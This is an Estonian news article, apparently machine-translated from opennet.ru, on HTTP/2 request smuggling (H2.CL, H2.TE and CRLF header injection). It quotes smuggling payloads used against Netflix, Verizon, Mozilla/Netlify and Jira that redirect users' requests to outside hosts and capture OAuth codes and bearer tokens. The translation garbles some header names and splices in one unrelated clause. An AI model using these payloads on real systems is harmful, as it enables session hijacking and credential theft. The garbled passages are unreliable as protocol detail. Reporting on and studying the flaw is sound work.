VeebisĂŒsteemid, kus frontend loob ĂŒhendusi HTTP/2 kaudu ja edastab backendile HTTP/1.1 kaudu, on saanud uue versiooni âHTTP Request Smugglingâ rĂŒnnakust, mis vĂ”imaldab kasutades spetsiaalselt vormindatud kliendi pĂ€ringute saatmist tungida teiste kasutajate pĂ€ringute sisusse, mida töödeldakse samas voos frontend'i ja backend'i vahel. RĂŒnnakut saab kasutada pahatahtliku JavaScript-koodi sisestamiseks seanssi legitiimse veebisaidiga, juurdepÀÀsupiirangute sĂŒsteemide ĂŒletamiseks ja autentimisparameetrite katkestamiseks.
Web-proksid, koormuse tasakaalustajad, web-kiirendajad, sisu edastamise sĂŒsteemid ja muud konfiguratsioonid, kus pĂ€ringud suunatakse front-endâback-end skeemi jĂ€rgi, on probleemile vastuvĂ”tlikud. Uuringu autor nĂ€itas rĂŒnnaku vĂ”imalust Netflixi, Verizon, Bitbucket, Netlify CDN ja Atlassiani sĂŒsteemidele, teenides 56 tuhat dollarit turvaauke avastavate programmide kaudu. Probleemi olemasolu on kinnitatud ka F5 Networks'i toodetes. Probleem puudutab osaliselt Apache http-serveri mod_proxy'd (CVE-2021-33193); parandusi oodatakse versioonis 2.4.49 (arendajatele teatati probleemist mai alguses ja neil oli kolm kuud aega parandamiseks). Nginx'is on samaaegne 'Content-Length' ja 'Transfer-Encoding' pĂ€iste mÀÀramine blokeeritud eelmises vĂ€ljaandes (1.21.1). RĂŒnnakute teostamiseks mĂ”eldud vahendid on juba lisatud Burp'i tööriistakomplekti ja on saadaval Turbo Intruder'i laiendusena.
Uue pĂ€ringute sisestamise meetodi toimimise printsiip on sarnane kahele aasta eest sama uurija tuvastatud haavatavusele, kuid piiratud HTTP/1.1 pĂ€ringute vastu vĂ”tva front-endiga. Meeldiv on meelde tuletada, et front-end/backend skeemiga vĂ”tab kliendi pĂ€ringud vastu lisasĂ”lm â front-end, mis loob pikaajalise TCP-ĂŒhenduse backendiga, mis tegeleb pĂ€ringute otsese töötlemisega. Selle ĂŒhise ĂŒhenduse kaudu edastatakse tavaliselt erinevate kasutajate pĂ€ringud, mis jĂ€rgivad ĂŒksteise jĂ€rel HTTP protokolli vahendite abil.
Klassikaline rĂŒnnak âHTTP Request Smugglingâ pĂ”hines asjaolul, et front-end'id ja back-end'id tĂ”lgendavad HTTP-pealkirju âContent-Lengthâ (mille mÀÀratleb pĂ€ringu kogusuuruse) ja âTransfer-Encoding: chunkedâ (mis vĂ”imaldab andmeid edastada osade kaupa) erinevalt. NĂ€iteks, kui front-end toetab ainult âContent-Lengthâ, kuid ignoreerib âTransfer-Encoding: chunkedâ, vĂ”ib rĂŒndaja saata pĂ€ringu, kus on korraga mÀÀratud pealkirjad âContent-Lengthâ ja âTransfer-Encoding: chunkedâ, kuid âContent-Lengthâ suurus ei vasta chunked-jada suurusele. Sellisel juhul töötab front-end pĂ€ringut ĂŒles âContent-Lengthâ alusel ja back-end ootab ploki lĂ”petamist âTransfer-Encoding: chunkedâ alusel ning rĂŒndaja jĂ€relejÀÀnud pĂ€ringu sabad satuvad jĂ€rgmise, edasi antud pĂ€ringu algusesse.
Erinevalt tekstipĂ”hisest protokollist HTTP/1.1, mille analĂŒĂŒs toimub ridade tasandil, on HTTP/2 binaarne protokoll, mis manipuleerib eelnevalt mÀÀratud suurusega andmepakettidega. HTTP/2-s kasutatakse pseudopealkirju, mis vastavad tavalistele HTTP-pealkirjadele. Kui suhtletakse tagaplaaniga protokolli HTTP/1.1 kaudu, tĂ”lgendab esiplaan need pseudopealkirjad sarnasteks HTTP/1.1 pealkirjadeks. Probleem seisneb selles, et tagaplaan teebotsuseid voogude analĂŒĂŒsi osas juba esiplaani poolt seatud HTTP-pealkirjade pĂ”hjal, omamata teavet algse pĂ€ringu parameetrite kohta.
Nende hulka kuuluvad ka pseudopealkirjad, mille vÀÀrtusteks vĂ”ivad olla «content-length» ja «transfer-encoding», kuigi neid ei kasutata HTTP/2-s, kuna andmete suurus mÀÀratakse eraldi vĂ€li. Siiski, HTTP/2 pĂ€ringu teisendamise protsessis HTTP/1.1-s kantakse need pealkirjad edasi ja vĂ”ivad juba esialgu eksitada tagaplaati. Tuvastatakse kaks peamist rĂŒnnakuvĂ”imalust: H2.TE ja H2.CL, kus tagaplaat eksitatakse vale transfer-encodingi vĂ”i content-lengthi vÀÀrtuse tĂ”ttu, mis ei vasta pĂ€ringu tegelikule keha suurusele, mis on edastatud front-endile HTTP/2 protokolli kaudu.

H2.CL rĂŒnnaku nĂ€itena tuuakse esile vale suuruse mĂ€rkimine pseudopealkirjas content-length, kui saata HTTP/2 pĂ€ring Netflixile. See pĂ€ring toob kaasa sarnase HTTP-pealkirja ĐĄontent-Length lisamise, kui pöörduda tagaplaadi poole HTTP/1.1 kaudu, kuid kuna ĐĄontent-Lengthis mĂ€rgitud suurus on vĂ€iksem tegelikust, siis töödeldakse osa andmetest lĂ”petusena jĂ€rgmise pĂ€ringu algusena.
NÀiteks, HTTP/2 pÀring :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Toob viib taotluse saatekeskusesse: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Kuna Content-Length on 4, tĂ”lgendab saatekeskus taotlusena ainult «abcd», ning ĂŒlejÀÀnud osa «GET /n HTTP/1.1âŠÂ» kĂ€sitletakse jĂ€rgmise taotluse algusena, mis on seotud teise kasutajaga. Selle tulemusena toimub voogude desĂŒnkroniseerimine ja vastuseks sellele jĂ€rgnevale taotlusele antakse saada soovitud taotluse töötlemise tulemus. Netflixi puhul pĂ”hjustas vĂ€lise hosti mÀÀramine pealkirjas «Host:» vale taotluses, et kliendile saadeti vastus «Location: https://02.rs?x.netflix.com/n» ning vĂ”imaldati edastada kliendile suvalist sisu, sealhulgas kĂ€ivitada oma JavaScripti koodi Netflixi saidi kontekstis.
Teine rĂŒnnaku variant (H2.TE) on seotud pealkirja âTransfer-Encoding: chunkedâ asendamisega. Transfer-encodingi valepealkirja kasutamine HTTP/2-s on spetsifikatsiooniga keelatud ja selle kasutamine peab olema tĂ”lgendatud ebatĂ€psena. Sellest hoolimata ei arvesta mĂ”ned esiotsa teostused seda nĂ”uet ning lubavad valepealkirja transfer-encodingi kasutamist HTTP/2-s, mis muundatakse sarnaseks HTTP pealkirjaks. Kui pealkiri âTransfer-Encodingâ on olemas, vĂ”ib tagaplaneed see vĂ”tta prioriteetsema, mille tĂ”ttu toimub andmete osaline töötlemine âchunkedâ reĆŸiimis, kasutades erineva suurusega plokke formaadis â{suurus}\r\n{plokk}\r\n{suurus}\r\n{plokk}\r\n0â, hoolimata algsest jagamisest kogusuuruse jĂ€rgi.
Sarnase nÔrkus oli demonstreeritud ettevÔtte Verizon nÀitel. Probleem puudutas autentimisportaal ja ja pakub teile rohkem tööriistu isiklike veebisaitide ja koostöövÔimetega veebirakenduste loomiseks., mis on samuti kasutusel sellistes saitides nagu Huffington Post ja Engadget. NÀiteks kliente puudutav pÀring HTTP/2-s: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Tekkis HTTP/1.1 taotluse edastamine backendile: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend seevastu ignoreeris "Content-Length" pealkirja ning teostas voogude jagamist "Transfer-Encoding: chunked" alusel. Praktikas vĂ”imaldas rĂŒnne suunata kasutajate taotlusi oma veebisaidile, sealhulgas pĂŒĂŒda kinni OAuth autentimisega seotud taotlusi, mille parameetrid ilmnesid Referer pealkirjas, samuti simuleerida autentimisseansi ja algatada kasutaja Ă”iguste edastamine rĂŒndaja hostile. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?âŠ&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6IkâŠ
HTTP/2 rakendustes, mis ei luba "transfer-encoding" pseudopealkirja mÀÀrata, on ettepanekuks veel ĂŒks meetod, mis on seotud "Transfer-Encoding" pealkirja sisestamisega teiste pseudopealkirjade juurde, eraldades need reavahetuse sĂŒmboliga (HTTP/1.1-sse muundamisel luuakse sarnases olukorras kaks eraldi HTTP pealkirja).
NĂ€iteks olid Atlassian Jira ja Netlify CDN (kasutatakse Mozilla kĂ€ivituslehe edastamiseks Firefoxis) selle probleemi all kannatajad. EelkĂ”ige HTTP/2 pĂ€ring: :meetod POST :path / :authority start.mozilla.org foo b\r\n ĂŒlekande-kodeering: chunked 0\r\n\r\nGET / HTTP/1.1\r\nHernes: evil-netlify-domain\r\nSisu-Pikkus: 5\r\n\r\nx=
kĂŒsimus viis taustsĂŒsteemi saatma HTTP/1.1 POST-i pĂ€ringu / HTTP/1.1\r\nHernes: start.mozilla.org\r\nFoo: b\r\nĂlekande-kodeering: chunked\r\nSisu-Pikkus: 71\r\n\r\n0\r\n\r\nGET / HTTP/1.1\r\nHernes: evil-netlify-domain\r\nSisu-Pikkus: 5\r\n\r\nx=
Teine meetod pealkirja âĂlekande-kodeeringâ asendamiseks oli selle kinnitamine teise pseudopealkirja nimele vĂ”i pĂ€ringumeetodi reale. NĂ€iteks Atlassian Jira sĂŒsteemi korral, kui pseudopealkirja âfoo: bar\r\nĂŒlekande-kodeeringâ vÀÀrtuseks oli âchunkedâ, lisandus HTTP-pealkirjad âfoo: barâ ja âĂŒlekande-kodeering: chunkedâ, samas kui pseudopealkirja â:meetodâ vÀÀrtus âGET / HTTP/1.1\r\nĂŒlekande-kodeering: chunkedâ tĂ”lgiti âGET / HTTP/1.1\r\nĂŒlekande-kodeering: chunkedâ.
Probleemi avastanud uurija pakkus ka vĂ€lja pĂ€ringute tunnelimise tehnika rĂŒnnaku tegemiseks front-endides, kus igale IP-aadressid seotud on eraldi ĂŒhendus backendiga ning erinevate kasutajate liiklust ei segata. Ettepanekut tehnika ei luba teiste kasutajate pĂ€ringutesse sekkuda, kuid see annab vĂ”imaluse saata ĂŒhine vahemĂ€lu, mis mĂ”jutab teiste pĂ€ringute töötlemist, ja vĂ”imaldab sisemiste HTTP-pealkirjade asendamist, mida kasutatakse teabe edastamiseks frontendilt backendile (nĂ€iteks autentimise korral frontendil vĂ”ivad sellistes pealkirjades backendile edastatavad andmed sisaldada hetke kasutaja teavet). NĂ€itena praktikas rakendamise meetodist on vahemĂ€lu rĂŒnnaku abil suudetud saada kontroll lehtede ĂŒle Bitbucket teenuses.
Allikas: opennet.ru
